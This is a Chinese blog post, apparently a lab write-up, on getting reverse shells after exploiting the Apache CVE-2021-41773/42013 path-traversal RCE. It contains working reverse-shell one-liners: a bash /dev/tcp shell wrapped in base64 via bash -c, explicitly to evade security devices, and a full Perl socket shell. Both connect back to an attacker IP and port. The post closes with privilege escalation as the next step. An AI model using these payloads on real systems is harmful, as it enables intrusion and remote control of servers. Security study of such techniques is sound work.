apache-CVE-2021-41773[42013]-反弹shell

本文探讨了Apache CVE-2021-41773/42013漏洞的利用,重点在于通过bash和perl实现远程代码执行,解决dash与bash兼容性问题,并分享了提权和环境适应的实战经验。

CVE-2021-41773-反弹shell

apache-CVE-2021-41773/42013 中存在RCE,可远程执行代码,本想利用bash反弹一个shell,奈何一直没有成功

bash -i >& /de/tcp/ip/port 0>&1

经典的bash反弹,确定环境和语句都没问题后,本地查看了靶机的日志,看到有如下报错,
在这里插入图片描述
很奇怪,为什么会有一个syntax error:Bad fd number的错误呢,而在本地kali中直接执行该语句,是没有问题的,百思不得姐,网上百度了以下,最终发现,原来不止我一个人,https://www.cnblogs.com/peace-and-romance/p/15726877.html
在这里插入图片描述
在较新的ubuntu中,/bin/sh 指向的为dash,而我们反弹shell中用到的为bash,dash和bash语法方面不一样,在靶机环境中看下/bin/sh的指向
在这里插入图片描述
果然是指向了dash,网上的解决办法是将dash重新变回bash,或者将shell脚本放在文件中执行,但真实的攻击环境中,权限不够,肯定是该不了sh的指向的,其实可以利用bash -c 参数,反弹shell POC如下

bash -c '{echo,payload_base64}|{base64,-d}|{bash,-i}'

将payload 先编码再解码,这样可以不仅可以防止反弹shell的特征太过明显,导致被安全设备拦截,还可以做到一致性通用sh环境,新的payload如下:
bash -i >& /dev/tcp/192.168.65.137/9999 0>&1 先base64编码得:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEzNy85OTk5IDA+JjEK,替换payload_base64,最终可得

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEzNy85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}'

重新执行以上payload,查看监听处,反弹成功,如图
在这里插入图片描述

perl反弹

查看上次per反弹脚本的日志,应该是语法的问题,
在这里插入图片描述

语法报错,双引号没有闭合,难道是上次太急写错了?
重新来一次,payload如下:

perl -e 'use Socket;$i="192.168.65.137";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这次果然成功,如图
在这里插入图片描述
推荐freebuff上总结的一篇非常好的反弹shell的博文,https://www.freebuf.com/articles/web/247967.html,可参考。
虽然反弹了shell,成功远程到了系统,可是得到的用户是daemon,这也很正常,因为docker环境下不可能得到高权限的用户,下一步自然是提权等下个章节再写上

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值